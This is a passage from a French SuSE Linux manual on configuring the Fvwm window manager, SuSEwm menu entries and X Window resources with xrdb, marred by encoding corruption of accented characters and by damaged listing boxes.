fichier de configuration qui se rapportent directement au module concernΘ.
Il est bien s√r recommandΘ α chaque utilisateur de crΘer son propre fichier de
configuration qu'il pourra modifier α son grΘ.
AprΦs avoir modifiΘ les fichiers de configuration, il est indispensable de redΘ-
marrer le gestionnaire de fenΩtres afin que les modifications soient prises en
compte.
Pour le redΘmarrage du gestionnaire de fenΩtres, il existe (dans la configura-
tion SuSE prΘinstallΘe) une entrΘe dans le `Menu de travail' qui contient
le sous-menu `Gestionnaire de fenΩtres'. L'arrΩt et le redΘmarrage du
serveur X produit le mΩme effet.
9.4 Configuration de Fvwm
GΘnΘralitΘs
Parlons maintenant de votre fichier de configuration Fvwm personnel. Vous
devez bien s√r en avoir dΘjα crΘΘ un. Cette procΘdure est dΘcrite α la page 284.
Vous pouvez non seulement gΘnΘrer ce fichier α l'aide de susewm mais aussi
reprendre le fichier de configuration ~/.fvwm2rc du rΘpertoire /usr/doc/
packages/fvwm/system.fvwm2rc fourni par les programmeurs de Fvwm.
Chargez avec votre Θditeur favori le fichier ~/.fvwm2rc. Nous allons ensuite
voir de plus prΦs quelques possibilitΘs de configuration.
Que se passe-t-il au dΘmarrage de Fvwm ?
Continuez α ``feuilleter'' pour arriver au commentaire du fichier 9.4.1
________________________________________________________________________________________________________*
*________
| ######################################################### *
* |
| *
* |
| # # *
* |
| # initialization function head # *
* |
| *
* |
| # common to all wms # *
* |
| # # *
* |
| ######################################################### *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 9.4.1: InitFunction dans le fichier ~/.fvwm2rc
└ la suite de cela, vous trouverez toutes les actions exΘcutΘes lors du redΘ-
marrage de Fvwm. Le module FvwmBanner est chargΘ (le logo), plusieurs
xterm sont lancΘs et un xpmroot est appelΘ. Ce programme sert α mettre des
images en arriΦre-plan (dans la fenΩtre racine). Vous pouvez utiliser ici tous
les programmes capables d'Θlaborer l'image d'arriΦre-plan (par exemple xse-
troot , xearth , xv , etc.).
278
_______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________*
*______________________
Citons encore un exemple avec le programme xv :
+ "I" Exec xv -quit -root -owncmap -maxpect ~/pics/bild13.png
Vous devrez encore spΘcifier l'image d'arriΦre-plan lors des actions exΘcutΘes
au cours du lancement de Fvwm. Cela signifie que vous devrez intΘgrer ces
actions dans RestartFunction . Vous les trouverez dans le fichier 9.4.2.
_______________________________________________________________________________________________________________________
|||||||| ######################################################### |
|||||||| |
|||||||| # # |
|||||||| # restart function # |
|||||||| |
|||||||| # common to all wms # |
|||||||| # # |
|||||||| ######################################################### |
||||||||_______________________________________________________________________________________________________________ |
fichier 9.4.2: InitFunction dans le fichier ~/.fvwm2rc
Souvent InitFunction et RestartFunction ont une trΦs grande ressem-
blance, elles ont d'ailleurs toutes les deux quelque chose α voir dans le dΘmar-
rage du gestionnaire de fenΩtres. Mais dans RestartFunction , on renonce
en gΘnΘral α lancer le drapeau du gestionnaire de fenΩtres. Il existe, en plus
de InitFunction et RestartFunction , une ExitFunction . Comme son
nom peut le laisser supposer, il s'agit d'une fonction de ``nettoyage'' dans
laquelle on spΘcifie les programmes α lancer avant de redΘmarrer le gestion-
naire de fenΩtres ou avant de le quitter. Il est ainsi possible d'effacer l'image
d'arriΦre-plan avant que le redΘmarrage du gestionnaire de fenΩtres provoque
le lancement d'une nouvelle image.
Couleurs et polices
Les paramΦtres concernant les couleurs et les polices se trouvent dans le
fichier 9.4.3.
_______________________________________________________________________________________________________________________||
|||||||| ######################################################### |
|||||||| # # |
|||||||| |
|||||||| # colors and fonts # |
|||||||| # # |
|||||||| ######################################################### |
||||||||_______________________________________________________________________________________________________________ |
fichier 9.4.3: Configuration des couleurs et polices de caractΦres dans le fi-
chier ~/.fvwm2rc
Vous pouvez ici vous en donner α coeur joie. Choisissez les couleurs qui vous
plaisent le mieux. Vous pouvez prendre toutes celles qui sont installΘes. Les
couleurs installΘes dΘpendent surtout de votre carte graphique. Cliquez avec le
bouton droit de la souris et allez dans le menu `System'. De lα, vous passerez
au menu `Information'. Vers la fin, vous verrez une entrΘe `XColors'.
Activez-la et vous verrez apparaεtre une fenΩtre avec une palette de toutes les
couleurs connues du systΦme. Vous pourrez en sΘlectionner une. Les noms
des couleurs se trouvent dans le fichier /usr/X11R6/lib/X11/rgb.txt
Un peu plus bas, vous dΘcouvrirez des lignes ayant cet aspect :
WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
*
* 279
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
C'est la dΘsignation systΘmatique d'une police (angl. font) dans le systΦme
X Window. Chaque police est dΘsignΘe de cette maniΦre. Il conviendrait ici
de donner quelques explications sur les ΘlΘments qui composent les noms
mais cela pourrait mener trΦs loin. Pour ne pas rendre les choses trop dif-
ficiles α superviser, nous dirons simplement qu'il existe toute une sΘrie de
surnoms (angl. alias) pour ces polices. Les jeux de caractΦres se trouvent ha-
bituellement dans le rΘpertoire /usr/X11R6/lib/X11/fonts. Chacun des
sous-rΘpertoires abrite un fichier fonts.alias qui contient les abrΘviations
en usage pour les diffΘrentes polices :
variable -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1
Ces noms sont dΘjα plus faciles α retenir.
Ic⌠nes
Dans l'environnement que nous donnons en exemple, il est question des
ic⌠nes (voir fichier 9.4.4).
________________________________________________________________________________________________________*
*________||
| # *
* |
| # others *
* |
| # *
* |
| *
* |
| *
* |
| Style "xterm" Icon Terminal.xpm *
* |
| Style "xosview" NoTitle, Sticky *
* |
| Style "xosview" UsePPosition *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 9.4.4: Ic⌠nes pour certaines fenΩtres
Vous pouvez attribuer ici une ic⌠ne α vos diffΘrentes applications. Vous de-
vez seulement tenir compte du fait que l'ic⌠ne doit aussi se trouver dans
IconPath qui est placΘ vers le dΘbut du fichier ~/.fvwm2rc. Vous pouvez
en principe utiliser toute ic⌠ne qui se trouve dans l'un des chemins d'accΦs
mentionnΘs aprΦs PixmapPath .
Pour toutes les ic⌠nes provenant d'un rΘpertoire qui n'est pas situΘ dans ce
chemin, vous devrez spΘcifier le chemin complet.
Supposons que vous vouliez attribuer α ghostview un fant⌠me comme
ic⌠ne. Regardez sous le chemin et vous trouverez une ic⌠ne du nom de
ghostbusters.xpm. Ajouter la ligne suivante α la section :
Style "ghostview" Icon ghostbusters.xpm
Maintenant c'est fait. Vous pouvez de la mΩme maniΦre attribuer des ic⌠nes
α presque toutes les applications. La plupart des applications possΦdent dΘjα
leur ic⌠ne standard. Vous devez absolument connaεtre le vrai nom de l'appli-
cation (plus exactement le nom de la fenΩtre de l'application) car un xTerm α
la place d'un xterm ne donnerait aucun rΘsultat. On dΘcouvre le nom d'une
fenΩtre en appelant, α partir du menu (`Window Manager' ! `Modules'),
le module `Ident' (nom de programme FvwmIdent ) et en cliquant sur la
fenΩtre correspondante.
280
_______________________________________________________________________________________9.4.__Configuration_de_Fvwm__________*
*______________________
Curseur
La forme et l'aspect du curseur sont Θgalement modifiables. On se sert pour
cela du programme xsetroot qui peut aussi, dans une certaine limite, Ωtre
utilisΘ pour insΘrer une image d'arriΦre-plan. Il est appelΘ par la commande :
tux@terre: > xsetroot -cursor <bitmapfile>
La variable <bitmapfile> dΘsigne ici n'importe quel bitmap. De fa-
τon standard, les bitmaps sont situΘs sous /usr/X11R6/include/X11/
bitmaps. Vous pouvez choisir celui qui vous convient ou en crΘer un vous-
mΩme, par exemple avec bitmap .
Focus
Une caractΘristique particuliΦrement apprΘciΘe que possΦde la famille des
gestionnaires de fenΩtres Fvwm est la possibilitΘ qu'il donne de dΘterminer,
en cours d'exΘcution, le comportement des fenΩtres lors du changement de
la fenΩtre active. Outre la modification du temps d'exΘcution, on peut aussi
paramΘtrer de faτon permanente le comportement du focus et de l'ΘlΘvation
(angl. raising) dans le fichier de configuration.
Par focus, on dΘsigne la propriΘtΘ du gestionnaire de fenΩtres de transmettre
les entrΘes actuelles et les clics de souris α une fenΩtre dΘterminΘe. Il existe
trois possibilitΘs :
~ On doit cliquer sur une fenΩtre pour pouvoir par exemple transmettre des
entrΘes clavier au processus en cours d'exΘcution dans cette fenΩtre. Ceci
s'appelle en anglais click to focus et se retrouve aussi, de faτon standard
sous Windows ou OS/2.
~ Avec le pointeur de la souris, on parcourt la surface d'une fenΩtre et celle-
ci possΦde automatiquement le focus. Ceci est dΘsignΘ par l'expression
focus follows mouse. Si le pointeur de la souris quitte la fenΩtre, mΩme si
ce n'est pas pour passer α une autre fenΩtre mais pour rester sur le fond
d'Θcran, le focus quitte aussi la fenΩtre qui le possΘdait encore jusque lα.
~ Pour Fvwm et Fvwm95, il existe une variante plus poussΘe qui est le com-
portement configurable sloppy focus. Le focus a alors le mΩme compor-
tement que focus follows mouse, α cette diffΘrence prΦs qu'il reste dans la
fenΩtre activΘe aussi longtemps qu'on n'active pas une autre fenΩtre. Cela
signifie que le focus reste dans la fenΩtre activΘe mΩme lorsque le pointeur
de la souris se trouve sur le fond d'Θcran.
Avec Fvwm, on peut dΘterminer le comportement du focus individuellement
pour chaque fenΩtre. Comme pour beaucoup d'autres configurations, ceci
s'obtient par une commande Style :
Style "*" ClickToFocus
Cela dΘtermine la stratΘgie ClickToFocus pour toutes les fenΩtres. On peut
faire la mΩme chose pour les paramΦtres SloppyFocus et FocusFollowsMouse ,
ce dernier Θtant prΘvu par dΘfaut pour Fvwm.
*
* 281
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
9.4.1 Auto-ΘlΘvation
Tout comme le focus, le comportement d'ΘlΘvation, c'est-α-dire la mise en
avant-plan d'une fenΩtre, joue un r⌠le important. Une fenΩtre conserve tou-
jours par dΘfaut une position relative par rapport aux autres fenΩtres (elle se
trouve devant ou derriΦre) jusqu'α ce qu'elle soit placΘe en avant-plan par un
clic sur la bordure ou la barre de titres.
Mais de nombreux utilisateurs sont habituΘs α ce qu'une fenΩtre apparaisse
en avant-plan lorsqu'ils la parcourent avec la souris. On appelle ce comporte-
ment auto-ΘlΘvation (angl. autoraising). Il n'a toutefois de sens que conjointe-
ment α FocusFollowsMouse ou SloppyFocus . Avec ClickToFocus (confi-
guration par dΘfaut de Fvwm95) il ne produit aucun effet.
Pour pouvoir utiliser la fonction d'auto-ΘlΘvation, on peut lancer le module
AutoRaise de Fvwm α partir du menu (`Window Manager', `Modules',
`AutoRaise On/Off'). Afin que la fonction d'auto-ΘlΘvation soit dispo-
nible en permanence, le fichier de configuration de Fvwm2 (~/.fvwm2rc)
doit contenir respectivement une entrΘe dans les fonctions InitFunction et
RestartFunction :
Function InitFunction
+ "I" Module FvwmAuto 200
Function RestartFunction
+ "I" Module FvwmAuto 200
La valeur 200 indique, en milliΦmes de seconde, le dΘlai aprΦs lequel une
fenΩtre est amenΘe en avant-plan. Ce dΘlai est nΘcessaire car autrement chaque
fenΩtre ``touchΘe'' viendrait immΘdiatement vers la haut ce qui provoquerait
un continuel scintillement :-)
9.5 Configuration du gestionnaire de fenΩtres avec SuSEwm
Qu'est-ce que SuSEwm ?
Le programme SuSEwm ~ inclus dans le paquetage susewm ~ simplifie
la mise en oeuvre des gestionnaires de fenΩtres Fvwm1 , Fvwm , Fvwm95 ,
Bowman , AfterStep , Ctwm , WindowMaker , Mwm 3 ainsi que l'utilisation
des bureaux de KDE et du projet GNOME .
Comme Fvwm1, Fvwm, Fvwm95, Bowman et AfterStep sont basΘs sur le
mΩme gestionnaire de fenΩtres, ils sont configurΘs tous les cinq de la mΩme
maniΦre et prΘsentent aussi les mΩmes caractΘristiques.
Il existe cependant quelques diffΘrences, parfois considΘrables, lors de la
configuration. Afin que l'utilisateur puisse bΘnΘficier des avantages communs
α ces gestionnaires de fenΩtres sans avoir α gΘrer cinq fichiers de configura-
tion, SuSEwm homogΘnΘise le plus possible leur configuration en utilisant un
langage macro abstrait.
Et mieux encore. MΩme les gestionnaires de fenΩtres Ctwm , Mwm , Window-
Maker , le kpanel de l'environnement de bureau KDE et le panel de l'environ-
_____________________________________________3
Le gestionnaire de fenΩtres Mwm fait partie intΘgrante du produit commercial Metrolink
Motif. Dans le paquetage lesstif, vous trouverez une version libre.
282
_____________________________________9.5.__Configuration_du_gestionnaire_de_fenΩtres_avec_SuSEwm____________________________*
*______________________
nement de bureau GNOME, qui sont absolument diffΘrents, sont Θgalement
configurΘs avec susewm . Cette configuration ne s'Θtend toutefois qu'aux me-
nus gΘnΘrΘs automatiquement. Les menus pour ces gestionnaires de fenΩtres
ne peuvent pas Ωtre gΘnΘrΘs α partir du menu (par exemple dans Fvwm ) mais
sont toujours crΘΘs par SuSEconfig au niveau systΦme.
Il peut Ωtre tenu compte des diffΘrences de configuration par des instructions
(angl. statements) spΘcifiques α chacun des gestionnaires de fenΩtres.
Avec SuSEwm , les menus ou le cas ΘchΘant les modules supportΘs par le
gestionnaire de fenΩtres sont configurΘs en fonction des paquetages logiciels
effectivement installΘs : Il n'est pas crΘΘ d'entrΘe de menu pour les paquetages
non installΘs.
SuSEwm prΘsente d'autres fonctions particuliΦres qui sont :
~ Configuration des gestionnnaires de fenΩtres ou bureaux suivants :
Fvwm1 , Fvwm , Fvwm95 , Bowman , AfterStep , Ctwm , Mwm , Win-
dowMaker , GNOME Panel et KDE Panel .
~ Un rΘpertoire central de bibliothΦques pour tous les gestionnaires de fe-
nΩtres, des macros homogΦnes pour les diffΘrents fichiers de configura-
tion.
~ Des fichiers de configuration supplΘmentaires pour les diffΘrents gestion-
naires de fenΩtres permettant de tenir compte de leur particularitΘs respec-
tives.
~ Prise en compte de fichiers de configuration supplΘmentaires pour les ges-
tionnaires de fenΩtres. Il est en outre tenu compte, lors de la configura-
tion dans l'ensemble du systΦme, de variables contenues dans /etc/rc.
config.
~ Prise en compte de fichiers sources pour un utilisateur dΘfini (dans son
rΘpertoire personnel) lors de la configuration automatique.
~ CrΘation de fichiers de configuration spΘcifiques α l'utilisateur en tenant
compte dans une trΦs large mesure des modifications qu'il a faites (aux
anciens fichiers de configuration).
~ IntΘgration, lors de la crΘation des menus, de programmes commerciaux
rΘpandus qui ne font pas partie de la distribution SuSE Linux.
~ Basculement aisΘ entre les gestionnaires de fenΩtres supportΘs pendant
l'exΘcution du systΦme sans qu'il soit nΘcessaire de modifier les scripts
de dΘmarrage tels que par exemple ~/.xinitrc, pour autant que le ges-
tionnaire de fenΩtres le permette.
9.5.1 Ajouter des entrΘes au menu
Si vous voulez ajouter des entrΘes au menu SuSE , vous devez crΘer des fi-
chiers ainsi que le montre le fichier 9.5.1 page suivante
Ici, les entrΘes pour Name[ : : : ] et Exec sont particuliΦrement importantes.
Les autres entrΘes sont optionnelles. Si vous inscrivez Type=TEXT , tous les
programmes tourneront dans un terminal.
Afin que l'entrΘe puisse Ωtre gΘnΘrΘe, le fichier doit avoir le nom suivant :
<paquetage>.<bin>.lnk . La variable <paquetage> doit Ωtre rempla-
*
* 283
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Name=PrinterNom[fr]=Imprimante *
* |
||Comment=Show all printers *
* ||
| Commentaire[fr]=Montrer toutes les imprimantes. *
* |
| Exec=klp *
* |
| *
* |
| MiniIcon=printer.xpm *
* |
| Icon=printer.xpm *
* |
| Type=Application *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 9.5.1: fichier .lnk de SuSEwm pour entrΘes de menu
cΘe par le nom du paquetage RPM qui contient le programme concernΘ.
Dans le cas o∙ vous n'auriez pas installΘ le programme α partir d'un pa-
quetage RPM, vous pouvez inscrire par exemple <susewm>. Vous pouvez
remplacer <bin> par une valeur de votre choix qui peut Ωtre, par exemple,
le nom du programme α exΘcuter. Le nom du fichier devrait en outre se ter-
miner par .lnk et vous devez stocker ce fichier dans un rΘpertoire situΘ au
dessous de /etc/X11/susewm/AddEntrys. L'entrΘe sera alors faite dans un
sous-menu qui dΘpendra du rΘpertoire dans lequel vous aurez stockΘ le fichier.
Quand et comment utiliser SuSEwm ?
SuSEwm est normalement lancΘ par YaST aprΦs l'installation de paquetages
et adapte toutes les configurations valables dans l'ensemble du systΦme. Il
existe 2 cas dans lesquels vous utilisez SuSEwm :
~ Vous ne possΘdez pas encore votre propre fichier de configuration pour
l'un des gestionnaires de fenΩtres mentionnΘs. Vous dΘsirez cependant
avoir un tel fichier pour vous crΘer un environnement de travail personna-
lisΘ indΘpendant de l'environnement du systΦme.
~ Vous avez dΘjα un fichier de configuration de gestionnaires de fenΩtres
mais vous avez installΘ ou dΘsinstallΘ des logiciels avec YaST et les me-
nus n'ont pas ΘtΘ actualisΘs.
Conditions
Les conditions suivantes doivent Ωtre remplies :
~ Vous vous Ωtes connectΘ au systΦme comme utilisateur normal (tel que
l'utilisateur exemple dΘfini lors de l'installation avec YaST ) en non pas
en tant qu'utilisateur `root'.
Un exemple
Un bureau riche en couleurs est une belle chose, mais α quoi cela vous sert-il si
votre matΘriel (mΘmoire, processeur, disque dur) n'est pas assez performant ?
Un gestionnaire de fenΩtres ne devrait quand mΩme pas accaparer toutes les
ressources du systΦme en faisant un usage excessif d'ic⌠nes et en les animant
de faτon tout aussi excessive.
Nous allons donc vous dire ce que vous pouvez faire si vous avez l'impression
que votre machine est trop lente au lancement de Fvwm ou de Fvwm95 . Cette
lenteur est probablement due α plusieurs centaines d'ic⌠nes qui doivent Ωtre
284
_____________________________________9.5.__Configuration_du_gestionnaire_de_fenΩtres_avec_SuSEwm____________________________*
*______________________
chargΘes les unes aprΦs les autres. Vous avez trois mΘthodes pour remΘdier α
cette situation :
~ Positionnez avec YaST (`Administration du systΦme' ! `Modi-
fier le fichier de configuration' la variable SUSEWM_XPM=no .
Au cas o∙ vous auriez modifiΘ la variable ci-dessus directement dans le
fichier /etc/rc.config, n'oubliez pas de lancer ensuite SuSEconfig .
~ DΘsinstallez le paquetage 3dpixms et, si vous ne voulez pas non plus de
grandes ic⌠nes, le paquetage 3dpixm.
~ Supprimez les ic⌠nes dans le fichier de configuration.
Il ne semble pas nΘcessaire de commenter plus longuement la premiΦre mΘ-
thode.
La deuxiΦme mΘthode est tout aussi simple : lancez YaST , dΘsinstallez les pa-
quetages mentionnΘs plus haut et mettez-vous α l'aise. YaST veille, conjoin-
tement α SuSEwm et α SuSEconfig , α ce que le fichier de configuration du
gestionnaire de fenΩtres soit modifiΘ dans ce sens. Si vous avez un fichier de
configuration personnel, vous devez explicitement le faire mettre α jour : utili-
sez le menu gestionnaire de fenΩtres comme il est dΘcrit α la page prΘcΘdente
et pages suivantes.
La troisiΦme mΘthode : Si vous n'avez pas encore de fichier de configuration
personnel, vous pouvez vous en faire ``mijoter'' un selon la recette dΘcrite au
paragraphe 9.5.1 page ci-contre. Supprimez dans ce fichier toutes les entrΘes
de menus qui font rΘfΘrence aux ic⌠nes. L'Θtat de dΘpart dans le fichier 9.5.2
doit Ωtre modifiΘ selon l'exemple prΘsentΘ dans le fichier 9.5.3.
_______________________________________________________________________________________________________________________||
|||||||| AddToMenu thiswmpopup "Fvwm2" Title |
|||||||| |
|||||||| + "Autre gestionnaire de fenΩtres%small.warning_3d.xpm%" \ |
|||||||| |
|||||||| Popup otherwmpopup |
|||||||| + "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup |
|||||||| + "" Nop |
|||||||| + "Fvwm2 Nouveau dΘmarrage%small.restart_suse_3d.xpm%" Restart fvwm2 |
|||||||| |
|||||||| + "Quitter Fvwm2 et X%small.exit.xpm%" Function QuitSave |
|||||||| |
|||||||| # end popup thiswmpopup |
||||||||_______________________________________________________________________________________________________________ |
fichier 9.5.2: .fvwm2rc avec ic⌠nes pour les entrΘes de menus
_______________________________________________________________________________________________________________________||||
|||||||| AddToMenu thiswmpopup "Fvwm2" Title |
|||||||| |
|||||||| + "Autre gestionnaire de fenΩtres" Popup otherwmpopup |
|||||||| + "Configuration" Popup susewmpopup |
|||||||| + "" Nop |
|||||||| + "Fvwm2 Nouveau dΘmarrage" Restart fvwm2 |
|||||||| |
|||||||| + "Quitter Fvwm2 et X" Function QuitSave |
|||||||| |
|||||||| # end popup thiswmpopup |
||||||||_______________________________________________________________________________________________________________ |
fichier 9.5.3: .fvwm2rc sans ic⌠nes pour les entrΘes de menus
Fvwm ou selon le cas Fvwm95 devrait dΘmarrer beaucoup plus rapidement.
Et comme nous l'avons dΘjα prΘcisΘ, vous conserverez toutes les modifica-
*
* 285
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
tions que vous apportΘes α votre fichier de configuration personnel si vous
lancez de nouveau SuSEwm α quelque moment que ce soit.
9.6 Configuration gΘnΘrale du systΦme X Window
Comme nous l'avons promis, nous allons maintenant nous occuper de l'aspect
et des fonctions de votre bureau ~ pourquoi se contenter de prΩt α porter quand
on peut avoir du sur mesure ?
Il y a deux endroits o∙ vous pouvez faire des retouches :
~ les paramΦtres par dΘfaut des applications du systΦme X Window
~ le ou les fichiers de configuration dΘjα prΘsentΘs α la page 277.
ParamΦtres par dΘfaut des applications X Window
Configuration globale
Presque toutes les applications programmΘes pour le systΦme X Window ont
une configuration prΘdΘfinie. Celle-ci se trouve dans un fichier faisant partie
du paquetage correspondant et elle est habituellement copiΘe, lors de l'instal-
lation, dans le rΘpertoire /usr/X11R6/lib/X11/app-defaults. On trouve
ici des fichiers tels que Xarchie. Comme son nom le laisse supposer, il s'agit
d'un fichier central de configuration pour le programme xarchie . Donnez un
coup d'oeil α ce fichier en utilisant. pour cela less (voir paragraphe 19.7.3
page 489). Vous y verrez des lignes semblables α celle-ci :
Xarchie.color*background: powder blue
Ne vous laissez pas effrayer par des lignes qui paraissent cryptiques, il n'est
pas nΘcessaire de tout comprendre immΘdiatement. Chaque programme sous
X est construit α partir de ``widgets''. On doit considΘrer les widgets plus ou
moins comme des ``pierres α bΓtir''.
Il existe un widget principal qui est la fenΩtre principale de l'application
lancΘe en premier. Tous les autres widgets sont en quelque sorte les enfants de
cette fenΩtre principale. Chaque widget a donc exactement un ancΩtre. Il peut
n'avoir aucun descendant mais peut aussi en avoir un ou plusieurs. Chacun
de ces widgets peut avoir un nom qui le distingue clairement des autres.
Pour augmenter encore un peu la confusion gΘnΘrale, nous devons prΘciser
qu'il convient de faire la diffΘrence entre fenΩtres et widgets. Une barre de
dΘfilement (angl. scrollbar), par exemple, est un widget (un widget rΘduit α
sa plus simple expression). Une fenΩtre, par contre, peut Ωtre composΘe d'une
barre de dΘfilement, d'une zone de texte et d'autres choses encore (widget
complexe).
Comme les widgets sont rangΘs, les uns par rapport aux autres, comme dans
un arbre gΘnΘalogique, on parle d'un arbre de widgets. Chaque fenΩtre dans
une application a un nom qui la distingue des autres dans l'arbre des wid-
gets. Il s'ensuit que l'on peut accΘder α chaque fenΩtre d'un programme sous
un nom bien prΘcis. Dans la ligne donnΘe prΘcΘdemment en exemple, cela
signifie :
286
_____________________________________________________9.6.__Configuration_gΘnΘrale_du_systΦme_X_Window_______________________*
*______________________
~ Le premier mot avant le point (Xarchie ) est le nom du widget principal
de l'application xarchie (il est de rΦgle de faire commencer par une majus-
cule les noms des paramΦtres par dΘfaut des applications qui concernent
les widgets de ce type).
~ AprΦs le point, nous voyons `color'. Il s'agit bien s√r de la couleur,
mais laquelle ?
~ Nous voyons ensuite une astΘrisque qui aurait aussi bien pu Ωtre un point :
~ Un point signifie qu'entre ces deux fenΩtres il n'en existe aucune autre
dans la hiΘrarchie.
~ Une astΘrisque signifie qu'entre les deux fenΩtres il peut y en avoir une
ou plusieurs autres.
~ Le mot ``background'' nous indique enfin quelle couleur va Ωtre modifiΘe.
On peut ici spΘcifier une couleur dΘfinie. Une liste de toutes les couleurs
pouvant Ωtre utilisΘes dans un systΦme X Window se trouve dans le fichier
/usr/X11R6/lib/X11/rgb.txt.
ParamΦtres spΘcifiques α l'utilisateur
Chaque utilisateur a bien s√r la possibilitΘ d'effectuer des configurations per-
sonnalisΘes. Il existe pour cela, dans le rΘpertoire HOME de l'utilisateur, un fi-
chier ~/.Xresources. Le point `.' placΘ devant le nom signifie qu'il s'agit
d'un fichier ``cachΘ''. Pour en savoir plus sur les fichiers ``cachΘ'', lisez le pa-
ragraphe 19.7.4 page 490
Ce fichier est destinΘ α contenir les paramΦtres spΘcifiques α l'utilisateur. Vous
pouvez, par exemple, dΘcider que toutes les fenΩtres doivent avoir un fond
jaune sauf la fenΩtre principale qui doit Ωtre rouge.
Pour revenir α l'exemple ci-dessus, cela signifie que vous pouvez, dans votre
propre fichier ~/.Xresources, remplacer les configurations par dΘfaut ins-
crites dans les fichiers app-defaults spΘcifiques au systΦme. InsΘrez par
exemple dans votre fichier ~/.Xresources la ligne suivante :
Xarchie.color*background: gold
Ceci aura pour consΘquence que l'application xarchie sera lancΘe pour vous
(mais seulement pour vous) avec un fond dorΘ.
Vous pouvez modifier non seulement les couleurs mais presque toutes les pro-
priΘtΘs de vos fenΩtres. Un programme qui s'avΦre trΦs utile dans ce contexte
est l'Θditeur de ressources editres (angl. edit resources). Il vous permet d'ob-
tenir l'affichage des ressources d'une application et de les modifier de faτon
sΘlective.
Voici maintenant quelques exemples de paramΦtres que vous pouvez utiliser :
Xarchie.color*background: powder blue
Xarchie.color*SimpleMenu*background: wheat
Xarchie.color*Command*background: wheat
Xarchie.color*MenuButton*background: wheat
Xarchie.color*Text*background: wheat
Xarchie*font: 9x15
Il est en principe possible de dΘterminer de cette maniΦre presque toutes les
propriΘtΘs d'un programme X. Mais dans la pratique, on se limite la plupart
*
* 287
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
du temps α paramΘtrer les couleurs, les polices de caractΦres et la gΘomΘtrie
(taille et position).
Les options dont vous disposez ici sont presque toujours indiquΘes dans la
page de man du programme concernΘ ou dans le fichier app-defaults qui
s'y rapporte.
Dans le fichier /usr/X11R6/lib/X11/rgb.txt, vous trouverez le nom des
couleurs que vous pouvez employer. En lanτant le programme xfontsel ou
xlsfonts , vous verrez les polices de caractΦres dont vous pouvez disposer.
ParamΦtres de dΘmarrage des applications
Pour modifier l'aspect d'une configuration, il existe une troisiΦme possibilitΘ
qui consiste α spΘcifier des paramΦtres lors de son lancement. Vous pouvez
bien s√r aussi spΘcifier ces paramΦtres dans le fichier de configuration du
gestionnaire de fenΩtres lorsque vous y dΘmarrez des programmes.
Vous pouvez par exemple lancer explicitement un programme avec une autre
couleur de texte et de fond (bg = ``background'', fg = ``foreground'') dans la
mesure o∙ ceci est supportΘ par le programme.
xterm -bg darkblue -fg white
RΘsultat : un Xterm bleu avec des caractΦres blancs.
Comment agissent ces configurations ?
Par principe, les configurations au niveau du systΦme sont faites au dΘmarrage
du systΦme X Window. Les paramΦtres sont gΘrΘs par le serveur X dans une
base de donnΘes (angl. X Resource DataBase, xrdb). Pour que la nouvelle
configuration soit prise en compte au niveau systΦme, il est indispensable de
faire effectuer une nouvelle lecture de la base de donnΘes ressources aprΦs
l'avoir modifiΘe manuellement. Cela peut se faire par la commande
tux@terre: > xrdb ~/.Xresources
Lors de la crΘation d'une base de donnΘes ressources interne au moment du
dΘmarrage du serveur X, les diffΘrents paramΦtres pour les applications sont
traitΘs dans l'ordre suivant :
~ Il est d'abord lu, dans /usr/X11R6/lib/X11/app-defaults, les para-
mΦtres par dΘfaut dΘfinis au niveau systΦme pour le programme concernΘ.
~ Si vous avez vos propres configurations dans le fichier ~/.Xresources
de votre rΘpertoire personnel, celles-ci Θcraseront les configurations rΘali-
sΘes au niveau systΦme.
~ Si vous lancez une application (par exemple dans le fichier de configura-
tion du gestionnaire de fenΩtres ou par ligne de commande) avec des pa-
ramΦtres explicitement spΘcifiΘs, ceux-ci auront prioritΘ absolue et Θcra-
seront les autres paramΦtres.
Le programme xrdb peut aussi vous montrer l'affichage des configurations
que vous venez de faire :
tux@terre: > xrdb -q
pourrait produire l'affichage suivant :
288
_____________________________________________________9.6.__Configuration_gΘnΘrale_du_systΦme_X_Window_______________________*
*______________________
emacs*geometry: 100x45-5-5
netscape.geometry: 610x760+140+30
xdvi*geometry: 720x895+250+5
Pour terminer ce chapitre, encore un conseil pratique :
_______________________________________________________________________________________________________________________||
|||||||| S'il devait arriver qu'un programme, malgrΘ modification explicite des ||| |
|||||||| || |
|||||||| paramΦtres dans ~/.Xresources et nouvelle lecture du contenu de la base || |
|||||||| de donnΘes ressources, ne tienne pas compte de la nouvelle configuration || |
|||||||| || |
|||||||| (par exemple nouvelle police de caractΦres), il est souvent possible de || |
|||||||| remΘdier α ce problΦme en changeant la casse des lettres dans les noms || |
|||||||| || |
|||||||| des widgets. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 289
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
290
CinquiΦme partie
MatΘriel sous Linux
291
Chapitre 10
L'environnement matΘriel de
l'ordinateur Linux
10.1 Remarque prΘliminaire
Il est maintenant possible d'intΘgrer plus ou moins facilement la plupart des
composants matΘriels dans un systΦme Linux. Ce chapitre dΘcrit comment s'y
prendre et vous fait connaεtre les logiciels disponibles. Pour les problΦmes liΘs
α l'impression voir chapitre 12 page 333 et pour ceux concernant la tΘlΘcopie
le paragraphe 6.10 page 210. Pour l'utilisation de pΘriphΘriques ISDN/RNIS
consultez le paragraphe 6.2 page 173. Le matΘriel PCMCIA et la mise en
oeuvre d'IrDA sont dΘcrits au chapitre 11 page 317.
10.2 Cartes enfichables
